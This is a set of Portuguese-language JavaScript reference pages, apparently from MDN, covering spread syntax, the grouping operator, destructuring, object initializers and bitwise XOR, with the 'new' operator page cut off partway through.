{"title":"Sintaxe de Espalhamento - JavaScript","text":"Sintaxe de Espalhamento\n=======================\n\n**Sintaxe de Espalhamento (Spread syntax)** permite que um objeto iterável, como uma expressão de array ou uma string seja expandido para ser usado onde zero ou mais argumentos (para chamadas de funções) ou elementos (para arrays *literais*) são esperados, ou que um objeto seja expandido onde zero ou mais pares *propriedade:valor* (para objetos *literais*) são esperados.Experimente\n-----------\n\nSintaxe\n-------\n\nPara chamada de funções:\n```\n\nmyFunction(...iterableObj);\n```\n\n\nPara arrays literais ou strings:\n```\n\n[...iterableObj, '4', 'five', 6];\n```\n\n\nPara objetos literais (novo em ECMAScript 2018; stage 3 draft):\n```\n\nlet objClone = { ...obj };\n```\n\nExemplos\n--------\n\n### Espalhamento e chamadas de funções\n\n#### Substituindo apply\n\nÉ comum usar `Function.prototype.apply` em casos onde você quer usar os elementos de um array como argumentos para uma função.\n\n\n```js\nfunction myFunction(x, y, z) {}\nvar args = [0, 1, 2];\nmyFunction.apply(null, args);\n```\n\n\nCom a sintaxe de espalhamento, o código acima pode ser escrito assim:\n\n\n```js\nfunction myFunction(x, y, z) {}\nvar args = [0, 1, 2];\nmyFunction(...args);\n```\n\n\nQualquer argumento numa lista de argumentos pode usar a sintaxe de espalhamento e pode ser usado mais de uma vez.\n\n\n```js\nfunction myFunction(v, w, x, y, z) {}\nvar args = [0, 1];\nmyFunction(-1, ...args, 2, ...[3]);\n```\n\n\n#### Apply para new\n\nQuando um construtor é chamado com `new`, não é possivel usar diretamente um array e `apply` (`apply` executa o `[[Call]]` e não o `[[Construct]]`). No entanto, um array pode facilmente ser usado com `new` graças ao operador de espalhamento:\n\n\n```js\nvar dateFields = [1970, 0, 1]; // 1 Jan 1970\nvar d = new Date(...dateFields);\n```\n\n\nPara usar o `new` com array de parâmetros sem a sintaxa de espalhamento, você teria que fazer isso **indiretamente** por meio da aplicação parcial:\n\n\n```js\nfunction applyAndNew(constructor, args) {\n  function partial() {\n    return constructor.apply(this, args);\n  }\n  if (typeof constructor.prototype === \"object\") {\n    partial.prototype = Object.create(constructor.prototype);\n  }\n  return partial;\n}\n\nfunction myConstructor() {\n  console.log(\"arguments.length: \" + arguments.length);\n  console.log(arguments);\n  this.prop1 = \"val1\";\n  this.prop2 = \"val2\";\n}\n\nvar myArguments = [\"hi\", \"how\", \"are\", \"you\", \"mr\", null];\nvar myConstructorWithArguments = applyAndNew(myConstructor, myArguments);\n\nconsole.log(new myConstructorWithArguments());\n// (internal log of myConstructor): arguments.length: 6\n// (internal log of myConstructor): [\"hi\", \"how\", \"are\", \"you\", \"mr\", null]\n// (log of \"new myConstructorWithArguments\"): {prop1: \"val1\", prop2: \"val2\"}\n```\n\n### Espalhamento em arrays literais\n\n#### Um array literal mais poderoso\n\nCriar um novo array usando um array existente como parte dele, não é possível utilizando apenas a sintaxe de array literal. O código imperativo deve ser usado ao invés da combinação de `push`, `splice`, `concat`, etc. Com a sintaxe de espalhamento isso se torna muito mais sucinto:\n\n\n```js\nvar parts = [\"shoulders\", \"knees\"];\nvar lyrics = [\"head\", ...parts, \"and\", \"toes\"];\n// [\"head\", \"shoulders\", \"knees\", \"and\", \"toes\"]\n```\n\n\nAssim como espalhar a lista de argumentos, `...` pode ser usado em qualquer lugar em um array literal e pode ser usado multiplas vezes.\n\n#### Copiando um array\n\n\n```js\nvar arr = [1, 2, 3];\nvar arr2 = [...arr]; // like arr.slice()\narr2.push(4);\n\n// arr2 becomes [1, 2, 3, 4]\n// arr remains unaffected\n```\n\n\n**Nota:** A sintaxe de espalhamento efetivamente vai um nível mais profundo quando se copia um array. Assim sendo, pode ser inadequado para copiar arrays multidimensionais como o exemplo a seguir mostra (é o mesmo com `Object.assign()` e a sintaxe de espalhamento).\n\n\n```js\nvar a = [[1], [2], [3]];\nvar b = [...a];\nb.shift().shift(); // 1\n// Now array a is affected as well: [[], [2], [3]]\n```\n\n\n#### Uma maneira melhor de concatenar arrays\n\n`Array.concat` é frequentemente usado para concatenar um array no final de um array existente. Sem a sintaxe de espalhamento é feito assim:\n\n\n```js\nvar arr1 = [0, 1, 2];\nvar arr2 = [3, 4, 5];\n// Append all items from arr2 onto arr1\narr1 = arr1.concat(arr2);\n```\n\n\nCom a sintaxe de espalhamento se torna isso:\n\n\n```js\nvar arr1 = [0, 1, 2];\nvar arr2 = [3, 4, 5];\narr1 = [...arr1, ...arr2];\n```\n\n\n`Array.unshift` é frequentemente usado para inserir um array de valores no inicio de um array existente. Sem a sintaxe de espalhamento é feito assim:\n\n\n```js\nvar arr1 = [0, 1, 2];\nvar arr2 = [3, 4, 5];\n// Prepend all items from arr2 onto arr1\nArray.prototype.unshift.apply(arr1, arr2); // arr1 is now [3, 4, 5, 0, 1, 2]\n```\n\n\nCom a *sintaxe de espalhamento* isso se torna *[Note, no entanto, que isso cria um novo `arr1` array. Ao contrário de `Array.unshift`, isso não modifica o array original `arr1` array]*:\n\n\n```js\nvar arr1 = [0, 1, 2];\nvar arr2 = [3, 4, 5];\narr1 = [...arr2, ...arr1]; // arr1 is now [3, 4, 5, 0, 1, 2]\n```\n\n### Espalhamento em objetos literais\n\nA proposta Rest/Spread Properties for ECMAScript (stage 3) adiciona espalhamento de propriedades para objetos literais. Este copia as propriedades enumeráveis de um objeto informado em um novo objeto.\n\n**Cópia-rasa (Shallow-cloning)** (excluindo o protótipo) ou fusão (**merge**) de objetos agora é possivel usando uma sintaxe mais curta que `Object.assign()`.\n\n\n```js\nvar obj1 = { foo: \"bar\", x: 42 };\nvar obj2 = { foo: \"baz\", y: 13 };\n\nvar clonedObj = { ...obj1 };\n// Object { foo: \"bar\", x: 42 }\n\nvar mergedObj = { ...obj1, ...obj2 };\n// Object { foo: \"baz\", x: 42, y: 13 }\n```\n\n\nNote que `Object.assign()` chamada os setters e a *sintaxe de espalhamento* não.\n\n### Apenas para iteráveis\n\nA sintaxe de espalhamento (diferente de propriedades espalhadas) só pode ser utilizada com objetos iteráveis.\n\n\n```js\nvar obj = { key1: \"value1\" };\nvar array = [...obj]; // TypeError: obj is not iterable\n```\n\n### Espalhamento com muitos valores\n\nQuando usar a sintaxe de espalhamento para chamada de funções, esteja ciente da possibilidade de exceder tamanho máximo de argumentos do motor do Javascript. Veja `apply()` para mais detalhes.\n\nSintaxe Rest (parâmetros)\n-------------------------\n\nA *sintaxe rest* se parece exatamente como a *sintaxe de espalhamento*, mas esta é usada para desestruturar arrays e objetos. De certa forma, a *sintaxe rest* é o oposto da *sintaxe de espalhamento*: A *sintaxe de espalhamento (spread)* 'expande' um array em vários elementos, enquanto a *sintaxe rest* coleta multiplos elementos e 'condensa' eles em um único elemento. Veja parâmetros rest. (en-US)\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # prod-SpreadElement |\n| ECMAScript Language Specification # prod-ArgumentList |\n| ECMAScript Language Specification # prod-PropertyDefinition |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Parâmetros Rest (en-US) (also '`...`')"}
{"title":"Operador de Agrupamento - JavaScript","text":"Operador de Agrupamento\n=======================\n\nSumário\n-------\n\nO operador de agrupamento `()` controla a precedência e a precedência de avaliação em expressões.\n\nSintaxe\n-------\n```\n\n ( )\n```\n\nDescrição\n---------\n\nO operador de agrupamento consiste em um par de parênteses em volta de uma expressão, ou sub-expressão, para ignorar a precedência normal de operadores de modo que expressões com menor precedência possam ser avaliadas antes de uma expressão com maior prioridade.\n\nExemplos\n--------\n\nIgnorando multiplicação e divisão primeiro, então adição e substração para avarliar adição primeiramente.\n\n\n```js\nvar a = 1;\nvar b = 2;\nvar c = 3;\n\n// default precedence\na + b \\* c; // 7\n// evaluated by default like this\na + (b \\* c); // 7\n\n// now overriding precedence\n// addition before multiplication\n(a + b) \\* c; // 9\n\n// which is equivalent to\na \\* c + b \\* c; // 9\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-grouping-operator |\n\nCompatibilidade\n---------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Operator precedence\n* `delete` (en-US)\n* `typeof`"}
{"title":"Atribuição via desestruturação (destructuring assignment) - JavaScript","text":"Atribuição via desestruturação (destructuring assignment)\n=========================================================\n\nA sintaxe de **atribuição via desestruturação (destructuring assignment)** é uma expressão JavaScript que possibilita extrair dados de arrays ou objetos em variáveis distintas.\n\nSintaxe\n-------\n\n\n```js\nvar a, b, rest;\n[a, b] = [1, 2];\nconsole.log(a); // 1\nconsole.log(b); // 2\n\n[a, b, ...rest] = [1, 2, 3, 4, 5];\nconsole.log(a); // 1\nconsole.log(b); // 2\nconsole.log(rest); // [3, 4, 5]\n\n({ a, b } = { a: 1, b: 2 });\nconsole.log(a); // 1\nconsole.log(b); // 2\n\n// ES2016 - não implementado em Firefox 47a01\n({ a, b, ...rest } = { a: 1, b: 2, c: 3, d: 4 });\n```\n\nDescrição\n---------\n\nAs expressões de objeto e matriz literais fornecem uma maneira fácil de criar pacotes *ad hoc* de dados .\n\n\n```js\nvar x = [1, 2, 3, 4, 5];\n```\n\n\nA atribuição via desestruturação usa sintaxe similar, mas no lado esquerdo da atribuição são definidos quais elementos devem ser extraídos da variável de origem.\n\n\n```js\nvar x = [1, 2, 3, 4, 5];\nvar [y, z] = x;\nconsole.log(y); // 1\nconsole.log(z); // 2\n```\n\n\nEsse recurso é semelhante aos recursos presentes em linguagens como Perl e Python.\n\nDesestruturação de array\n------------------------\n\n### Atribuição básica de variável\n\n\n```js\nvar foo = [\"one\", \"two\", \"three\"];\n\nvar [one, two, three] = foo;\nconsole.log(one); // \"one\"\nconsole.log(two); // \"two\"\nconsole.log(three); // \"three\"\n```\n\n### Atribuição separada da declaração\n\nUma variável pode ter seu valor atribuído via desestruturação separadamente da declaração dela.\n\n\n```js\nvar a, b;\n\n[a, b] = [1, 2];\nconsole.log(a); // 1\nconsole.log(b); // 2\n```\n\n### Valores padrão\n\nUma variável pode ser atribuída de um padrão, no caso em que o valor retirado do array é undefined.\n\n\n```js\nvar a, b;\n\n[a = 5, b = 7] = [1];\nconsole.log(a); // 1\nconsole.log(b); // 7\n```\n\n### Trocando variáveis\n\nOs valores de duas variáveis podem ser trocados em uma expressão de desestruturação.\n\nSem atribuição via desestruturação, trocar dois valores requer uma variável temporária (ou, em algumas linguagens de baixo nível, o Algoritmo XOR Swap).\n\n\n```js\nvar a = 1;\nvar b = 3;\n\n[a, b] = [b, a];\nconsole.log(a); // 3\nconsole.log(b); // 1\n```\n\n### Analisando um array retornado de uma função\n\nSempre foi possível retornar uma matriz de uma função. A desestruturação pode tornar mais conciso o trabalho com um valor de retorno do tipo array.\n\nNeste exemplo, `f()` retorna os valores `[1, 2]` como saída, que podem ser analisados em uma única linha com desestruturação.\n\n\n```js\nfunction f() {\n  return [1, 2];\n}\n\nvar a, b;\n[a, b] = f();\nconsole.log(a); // 1\nconsole.log(b); // 2\n```\n\n### Ignorando alguns valores retornados\n\nVocê pode ignorar valores retornados que você não tem interesse:\n\n\n```js\nfunction f() {\n  return [1, 2, 3];\n}\n\nvar [a, , b] = f();\nconsole.log(a); // 1\nconsole.log(b); // 3\n```\n\n\nVocê também pode ignorar todos os valores retornados:\n\n\n```js\n[, ,] = f();\n```\n\n### Atribuindo o resto de um array para uma variável\n\nAo desestruturar um array, você pode atribuir a parte restante deste em uma viáriável usando o padrão rest:\n\n\n```js\nvar [a, ...b] = [1, 2, 3];\nconsole.log(a); // 1\nconsole.log(b); // [2, 3]\n```\n\n### Extraindo valores do resultado de uma expressão regular\n\nQuando o método de expressão regular `exec()` encontra um resultado, ele retorna um array que contém primeiro toda a porção resultante da string e depois cada uma das porções da string resultante envolvidas por parênteses na expressão regular. A atribuição via desestruturação lhe permite extrair as partes desses array facilmente, ignorando a porção resultante completa se não precisar.\n\n\n```js\nvar url = \"https://developer.mozilla.org/pt-BR/Web/JavaScript\";\n\nvar parsedURL = /^(\\w+)\\:\\/\\/([^\\/]+)\\/(.\\*)$/.exec(url);\nconsole.log(parsedURL); // [\"https://developer.mozilla.org/pt-BR/Web/JavaScript\", \"https\", \"developer.mozilla.org\", \"en-US/Web/JavaScript\"]\n\nvar [, protocol, fullhost, fullpath] = parsedURL;\n\nconsole.log(protocol); // \"https\"\n```\n\nDesestruturação de objeto\n-------------------------\n\n### Atribuição básica\n\n\n```js\nvar o = { p: 42, q: true };\nvar { p, q } = o;\n\nconsole.log(p); // 42\nconsole.log(q); // true\n```\n\n### Atribuição sem declaração\n\nUma variável pode ter seu valor atribuído via desestruturação separadamente da sua declaração.\n\n\n```js\nvar a, b;\n\n({ a, b } = { a: 1, b: 2 });\n```\n\n\n**Nota:** Os parênteses `( ... )` ao redor da declaração de atribuição é uma sintaxe necessária quando se utiliza a atribuição via desestruturação de objeto literal sem uma declaração.\n\n`{a, b} = {a:1, b:2}` não é uma sintaxe stand-alone válida, pois `{a, b}` no lado esquerdo é considarada um bloco, não um objeto literal.\n\nNo entanto, `({a, b} = {a:1, b:2})` é valida, assim como `var {a, b} = {a:1, b:2}`\n\n### Atribuição para variáveis com novos nomes\n\nUma variável pode ser extraída de um objeto e atribuída a uma variável com um nome diferente da propriedade do objeto.\n\n\n```js\nvar o = { p: 42, q: true };\nvar { p: foo, q: bar } = o;\n\nconsole.log(foo); // 42\nconsole.log(bar); // true\n```\n\n### Valores padrão\n\nUma variável pode ser atribuída de um padrão, no caso em que o valor retirado do objeto é undefined.\n\n\n```js\nvar { a = 10, b = 5 } = { a: 3 };\n\nconsole.log(a); // 3\nconsole.log(b); // 5\n```\n\n### Definindo um valor padrão de parâmetro de função\n\n#### Versão ES5\n\n\n```js\nfunction drawES5Chart(options) {\n  options = options === undefined ? {} : options;\n  var size = options.size === undefined ? \"big\" : options.size;\n  var cords = options.cords === undefined ? { x: 0, y: 0 } : options.cords;\n  var radius = options.radius === undefined ? 25 : options.radius;\n  console.log(size, cords, radius);\n  // now finally do some chart drawing\n}\n\ndrawES5Chart({\n  cords: { x: 18, y: 30 },\n  radius: 30,\n});\n```\n\n\n#### Versão ES2015\n\n\n```js\nfunction drawES2015Chart({\n  size = \"big\",\n  cords = { x: 0, y: 0 },\n  radius = 25,\n} = {}) {\n  console.log(size, cords, radius);\n  // do some chart drawing\n}\n\ndrawES2015Chart({\n  cords: { x: 18, y: 30 },\n  radius: 30,\n});\n```\n\n### Objeto aninhado e desestruturação de array\n\n\n```js\nvar metadata = {\n  title: \"Scratchpad\",\n  translations: [\n    {\n      locale: \"de\",\n      localization\\_tags: [],\n      last\\_edit: \"2014-04-14T08:43:37\",\n      url: \"/de/docs/Tools/Scratchpad\",\n      title: \"JavaScript-Umgebung\",\n    },\n  ],\n  url: \"/pt-BR/docs/Tools/Scratchpad\",\n};\n\nvar {\n  title: englishTitle,\n  translations: [{ title: localeTitle }],\n} = metadata;\n\nconsole.log(englishTitle); // \"Scratchpad\"\nconsole.log(localeTitle); // \"JavaScript-Umgebung\"\n```\n\n### For de iteração e desestruturação\n\n\n```js\nvar people = [\n  {\n    name: \"Mike Smith\",\n    family: {\n      mother: \"Jane Smith\",\n      father: \"Harry Smith\",\n      sister: \"Samantha Smith\",\n    },\n    age: 35,\n  },\n  {\n    name: \"Tom Jones\",\n    family: {\n      mother: \"Norah Jones\",\n      father: \"Richard Jones\",\n      brother: \"Howard Jones\",\n    },\n    age: 25,\n  },\n];\n\nfor (var {\n  name: n,\n  family: { father: f },\n} of people) {\n  console.log(\"Name: \" + n + \", Father: \" + f);\n}\n\n// \"Name: Mike Smith, Father: Harry Smith\"\n// \"Name: Tom Jones, Father: Richard Jones\"\n```\n\n### Extraindo campos de objetos passados como parâmetro de função\n\n\n```js\nfunction userId({ id }) {\n  return id;\n}\n\nfunction whois({ displayName: displayName, fullName: { firstName: name } }) {\n  console.log(displayName + \" is \" + name);\n}\n\nvar user = {\n  id: 42,\n  displayName: \"jdoe\",\n  fullName: {\n    firstName: \"John\",\n    lastName: \"Doe\",\n  },\n};\n\nconsole.log(\"userId: \" + userId(user)); // \"userId: 42\"\nwhois(user); // \"jdoe is John\"\n```\n\n\nIsso extrai o `id`, `displayName` e `firstName` do objeto `user` e os imprime na tela.\n\n### Nomes computados de propriedade de objeto e desestruturação\n\nNomes computados de propriedades, como em objetos literais, podem ser usados com desestruturação.\n\n\n```js\nlet key = \"z\";\nlet { [key]: foo } = { z: \"bar\" };\n\nconsole.log(foo); // \"bar\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-destructuring-assignment |\n| ECMAScript Language Specification # sec-destructuring-binding-patterns |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nNotas específicas do Firefox\n----------------------------\n\n* O Firefox forneceu uma extensão não-padronizada de linguagem em JS1.7 para desestruturação. Esta extensão foi removida no Gecko 40. Consulte Erro do Firefox 1083498.\n* A partir do Gecko 41 e para cumprir com a especificação ES2015, padrões de desestruturação com parênteses, como `([a, b]) = [1, 2]` or `({a, b}) = { a: 1, b: 2 }`, agora são considerados inválidos e lançarão um `SyntaxError` (en-US). Veja a postagem no blog de Jeff Walden e Erro do Firefox 1146136 para mais detalhes.\nVeja também\n-----------\n\n* Operadores de Atribuição (en-US)\n* \"ES6 in Depth: Destructuring\" on hacks.mozilla.org (em inglês)"}
{"title":"Inicializador de Objeto - JavaScript","text":"Inicializador de Objeto\n=======================\n\nObjetos podem ser inicializados utilizando `new Object()`, `Object.create()`, ou a notação *literal*. Um inicializador de objetos é uma lista de zero ou mais pares de *propriedade: valor*, separados por vírgula e fechado por um par de chaves (`{}`).\n\nSintaxe\n-------\n\n\n```js\nvar o = {};\nvar o = { a: \"foo\", b: 42, c: {} };\n\nvar a = \"foo\",\n  b = 42,\n  c = {};\nvar o = { a: a, b: b, c: c };\n\nvar o = {\n  propriedade: function ([parâmetros]) {},\n  get propriedade() {},\n  set propriedade(valor) {},\n};\n```\n\n### Novas notações em ECMAScript 2015\n\nPor favor, verifique o suporte das anotações na tabela de compatibilidade. Em ambientes que não dão suporte às anotações, ocorrerá erros de sintaxe.\n\n\n```js\n// // Abreviação em nomes de propriedades (ES2015)\nvar a = \"foo\",\n  b = 42,\n  c = {};\nvar o = { a, b, c };\n\n// // Abreviação em nomes de métodos (ES2015)\nvar o = {\n  property([parameters]) {},\n  get property() {},\n  set property(value) {},\n};\n\n// Nomes de propriedades computados (ES2015)\nvar prop = \"foo\";\nvar o = {\n  [prop]: \"hey\",\n  [\"b\" + \"ar\"]: \"there\",\n};\n```\n\nDescrição\n---------\n\nUm inicializador de objetos é uma expressão que descreve a inicialização de um `Object`. Objects consiste de *propriedades*, as quais descrevem um objeto. Os valores das propriedades de um objeto podem ser tipos de dados primitivos ou outros objetos .\n\n### Criando objetos\n\nUm objeto vazio, sem propriedades, pode ser criado como:\n\n\n```js\nvar object = {};\n```\n\n\nContudo, a vantagem em utilizar a notação *literal* ou o *inicializador* é a possibilidade de rapidamente criar objetos com propriedades dentro de chaves (`{}`). Você simplesmente cria uma lista de pares *chave: valor*, separados por vírgula. O código abaixo cria um objeto com três propriedades, sendo as chaves \"foo\", \"age\" e \"baz\", com seus respectivos valores, tipo string de valor \"bar\", tipo number de valor 42 e, por último, um outro objeto com seus respectivos pares de *chave: valor*.\n\n\n```js\nvar object = {\n  foo: \"bar\",\n  age: 42,\n  baz: { myProp: 12 },\n};\n```\n\n### Acessando propriedades\n\nUma vez que você criou um objeto, é interessante que possa ler ou alterá-lo. As propriedades de um objeto podem ser acessadas utilizando a notação de ponto ou colchetes. Veja assessores de propriedade para mais informações.\n\n\n```js\nobject.foo; // \"bar\"\nobject[\"age\"]; // 42\n\nobject.foo = \"baz\";\n```\n\n### Definições de propriedade\n\nNós temos aprendido como descrever propriedades utilizando a sintaxe *inicializador*. No entanto, às vezes, há variáveis que queremos inserir em nosso objeto. Então teremos um código parecido como abaixo:\n\n\n```js\nvar a = \"foo\",\n  b = 42,\n  c = {};\n\nvar o = {\n  a: a,\n  b: b,\n  c: c,\n};\n```\n\n\nCom ECMAScript 2015, há uma notação mais curta que possibilita atingir o mesmo resultado:\n\n\n```js\nvar a = \"foo\",\n  b = 42,\n  c = {};\n\n// Abreviação em nomes de propriedades (ES2015)\nvar o = { a, b, c };\n\n// Em outras palavras,\nconsole.log(o.a === { a }.a); // true\n```\n\n\n#### Duplicação em nomes de propriedades\n\nQuando se está utilizando o mesmo nome para suas propriedades, a última sobrescreverá as anteriores.\n\n\n```js\nvar a = { x: 1, x: 2 };\nconsole.log(a); // { x: 2}\n```\n\n\nEm códigos ECMAScript 5 no modo estrito, duplicação em nomes de propriedades serão consideradas `SyntaxError` (en-US). Porém, com a introdução de \"nomes de propriedades computadas\", tornou-se possível a duplicação das propriedades em tempo de execução. Assim, ECMAScript 2015 removeu a restrição.\n\n\n```js\nfunction haveES2015DuplicatePropertySemantics() {\n  \"use strict\";\n  try {\n    ({ prop: 1, prop: 2 });\n\n    // No error thrown, duplicate property names allowed in strict mode\n    return true;\n  } catch (e) {\n    // Error thrown, duplicates prohibited in strict mode\n    return false;\n  }\n}\n```\n\n### Definição de métodos\n\nUma propriedade de um objeto pode se referir à function, ou aos métodos getter ou setter.\n\n\n```js\nvar o = {\n  propriedade: function ([parâmetros]) {},\n  get propriedade() {},\n  set propriedade(valor) {},\n};\n```\n\n\nNo ECMAScript 2015, uma notação abreviada está disponível, dispensando o uso da palavra reservada \"function\".\n\n\n```js\n// Abreviações em nomes de métodos (ES2015)\nvar o = {\n  propriedade([parâmetros]) {},\n  get propriedade() {},\n  set propriedade(valor) {},\n  \\*gerador() {},\n};\n```\n\n\nCom ECMAScript 2015, há uma forma concisa em criar propriedades cujo valor é uma função gerador.\n\n\n```js\nvar o = {\n  \\* gerador() {\n    ...........\n  }\n};\n```\n\n\nMas em ECMAScript 5, você escreveria (lembrar que em ES5 não há geradores):\n\n\n```js\nvar o = {\n  generator: function \\*() {\n    ...........\n  }\n};\n```\n\n\nPara mais informações e exemplos, veja definições de método.\n\n### Nomes de propriedades computados\n\nComeçando com ECMAScript 2015, a sintaxe *inicializador* de objeto também suporta \"nomes de propriedades computados\". Isso permite que você possa inserir uma expressão dentro de colchetes `[]`, que será computada como o nome de uma propriedade. Isto é semelhante à notação de chaves utilizado em acessor de propriedade, utilizado para ler a alterar as propriedades existentes em um objeto. Segue um exemplo utilizando a mesma sintaxe em objetos literais:\n\n\n```js\n// Nomes de propriedades computados (ES2015)\nvar i = 0;\nvar a = {\n  [\"foo\" + ++i]: i,\n  [\"foo\" + ++i]: i,\n  [\"foo\" + ++i]: i,\n};\n\nconsole.log(a.foo1); // 1\nconsole.log(a.foo2); // 2\nconsole.log(a.foo3); // 3\n\nvar param = \"size\";\nvar config = {\n  [param]: 12,\n  [\"mobile\" + param.charAt(0).toUpperCase() + param.slice(1)]: 4,\n};\n\nconsole.log(config); // { size: 12, mobileSize: 4 }\n```\n\n### Mutação Prototype\n\nUma definição de propriedade na forma de `__proto__: valor` or `\"__proto__\": valor` não cria uma propriedade com o nome `__proto__`. Inclusive, se o valor fornecido for um objeto ou `null`, muda o `[[Prototype]]` do objeto criado para o valor informado. (Se o valor fornecido não é um objeto ou null, o valor não será alterado.)\n\n\n```js\nvar obj1 = {};\nassert(Object.getPrototypeOf(obj1) === Object.prototype);\n\nvar obj2 = { \\_\\_proto\\_\\_: null };\nassert(Object.getPrototypeOf(obj2) === null);\n\nvar protoObj = {};\nvar obj3 = { \\_\\_proto\\_\\_: protoObj };\nassert(Object.getPrototypeOf(obj3) === protoObj);\n\nvar obj4 = { \\_\\_proto\\_\\_: \"not an object or null\" };\nassert(Object.getPrototypeOf(obj4) === Object.prototype);\nassert(!obj4.hasOwnProperty(\"\\_\\_proto\\_\\_\"));\n```\n\n\nApenas uma única mudança em prototype é permitida em um objeto: múltiplas mudanças gera erro de sintaxe.\n\nDefinições de propriedade que não utilizam da notação de \":\", não são consideradas mudanças de prototype: são definições de propriedades que se comportam de forma semelhante às definições utilizando qualquer outro nome.\n\n\n```js\nvar __proto__ = \"variable\";\n\nvar obj1 = { __proto__ };\nassert(Object.getPrototypeOf(obj1) === Object.prototype);\nassert(obj1.hasOwnProperty(\"\\_\\_proto\\_\\_\"));\nassert(obj1.__proto__ === \"variable\");\n\nvar obj2 = {\n  \\_\\_proto\\_\\_() {\n    return \"hello\";\n  },\n};\nassert(obj2.\\_\\_proto\\_\\_() === \"hello\");\n\nvar obj3 = { [\"\\_\\_prot\" + \"o\\_\\_\"]: 17 };\nassert(obj3.__proto__ === 17);\n```\n\nNotação de objeto literal vs JSON\n---------------------------------\n\nA notação de objeto literal não é a mesma de **J**ava**S**cript **O**bject **N**otation (JSON). Mesmo que possuam semelhanças, há as seguintes diferenças:\n\n* JSON permite definições de propriedades utilizando apenas aspas duplas, como `\"propriedade\": valor`. E a definição não pode ser abreviada.\n* Os valores JSON podem ser apenas strings, numbers, arrays, `true`, `false`, `null`, ou outro objeto JSON.\n* Uma função como valor (veja \"Métodos\" acima) não pode ser atribuido em JSON.\n* Objetos como `Date` serão do tipo string após `JSON.parse()`.\n* `JSON.parse()` rejeitará \"nomes de propriedades computados\" e um erro será lançado.\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object-initializer |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Assesores de propriedade\n* `get` / `set`\n* Definições de métodos\n* Lexical grammar"}
{"title":"Bitwise XOR (^) - JavaScript","text":"Bitwise XOR (^)\n===============\n\nO operador bitwise XOR (`^`) retorna o numero 1 em cada posição de bit para a qual os bits correspondentes de ambos, mas não de ambos os operandos, são `1`s.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\na ^ b\n```\n\nDescrição\n---------\n\nOs operandos são convertidos em números inteiros de 32 bits e expressados por uma série de bits (zeros e uns). Numeros com mais de 32 bits descartam seus bits mais significativos. Por exemplo, o número inteiro a seguir com mais de 32 bits será convertido em um número inteiro de 32 bits:\n```\n\nAntes: 11100110111110100000000000000110000000000001\nDepois:            10100000000000000110000000000001\n```\n\n\nCada bit no primeiro operando é emparelhado com o bit correspondente no segundo operando: primeiro bit para o primeiro bit, segundo bit para o segundo bit e assim por diante.\n\nO operador é aplicado para cada par de bits e o resultado é construído em bitwise.\n\nA tabela verdade para a operação XOR é:\n\n| a | b | a XOR b |\n| --- | --- | --- |\n| 0 | 0 | 0 |\n| 0 | 1 | 1 |\n| 1 | 0 | 1 |\n| 1 | 1 | 0 |\n\n\n```js\n.    9 (base 10) = 00000000000000000000000000001001 (base 2)\n    14 (base 10) = 00000000000000000000000000001110 (base 2)\n                   --------------------------------\n14 ^ 9 (base 10) = 00000000000000000000000000000111 (base 2) = 7 (base 10)\n```\n\n\nBitwise XORing any number `x` with `0` yields `x`.\n\nExemplos\n--------\n\n### Usando bitwise XOR\n\n\n```js\n// 9 (00000000000000000000000000001001)\n// 14 (00000000000000000000000000001110)\n\n14 ^ 9;\n// 7 (00000000000000000000000000000111)\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # prod-BitwiseXORExpression |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nLeia também\n-----------\n\n* Bitwise operators in the JS guide\n* Bitwise XOR assignment operator (en-US)"}
{"title":"new operator - JavaScript","text":"new operator\n============\n\nO **operador `new`** cria uma instancia de um tipo de objeto definido pelo usuário ou de um dos tipos nativos (*built-in*) que possuem uma função construtora.\n\nExperimente\n-----------\n\n A fonte deste exemplo interativo é armazenada em um repositório do GitHub. Se você gostaria de contribuir para o projeto de exemplos interativos, clone https://github.com/mdn/interactive-examples e nos envie uma requisição de comando pull.Sintaxe\n-------\n```\n\nnew construtor[([argumentos])]\n```\n\n### Parametros\n\n`construtor`\n\nUma função que especifica o tipo da instância do objeto.\n\n`argumentos`\n\nUma lista de valores com os quais o construtor será chamado.\n\nDescrição\n---------\n\nCriar um objeto definido pelo usuário requer dois passos:\n\n1. Definir o tipo de objeto através da escrita de uma função.\n2. Criar uma instancia do objeto utilizando `new`.\n\nPara definir um tipo de objeto, crie uma função para o tipo de objetivo que especifica seu nome e propriedades. Um objeto pode ter uma propriedade que é um outro objeto. Veja os exemplos abaixo:\n\nQuando o código `new Foo(...)` é executado, acontece o seguinte::\n\n1. Um novo objeto é criado, herdando de `Foo.prototype`.\n2. A função construtora *F`oo`* é chamado com os argumentos especificados, e com `this` vinculado ao novo objeto criado. `new Foo` é equivalente a `new Foo()`, ou seja, se nenhuma lista de argumentos for especificada, *Foo* é chamado sem argumentos.\n3. O objeto retornado pela função construtora é o resultado de toda expressão `new`. Se a função construtora não retornar um objeto explicitamente, o objeto criado no passo 1 é então usado. (Normalmente construtores não retornam um valor, mas eles podem escolher fazê-lo se eles quiserem sobrescrever o processo normal de criação de objeto.)\n\nVocê sempre pode adicionar uma propriedade à um objeto definido previamente. Por exemplo, `carro1.cor = \"preta\"` adiciona a propriedade `cor` em `carro1`, e atribui a ela o valor de \"`preta`\". Entretanto, isso não afeta os outros objetos. Para adicionar a nova propriedade a todos objetos do mesmo tipo, você deve adicionar a propriedade à definição do tipo de objeto `Carro`.\n\nVocê pode adicionar uma propriedade compartilhada à um tipo de objeto definido anteriormente através do uso da propriedade `Function.prototype` (en-US). Isso define uma propriedade que é compartilhada por todos os objetos criados com essa função, ao invés de apenas uma instancia do 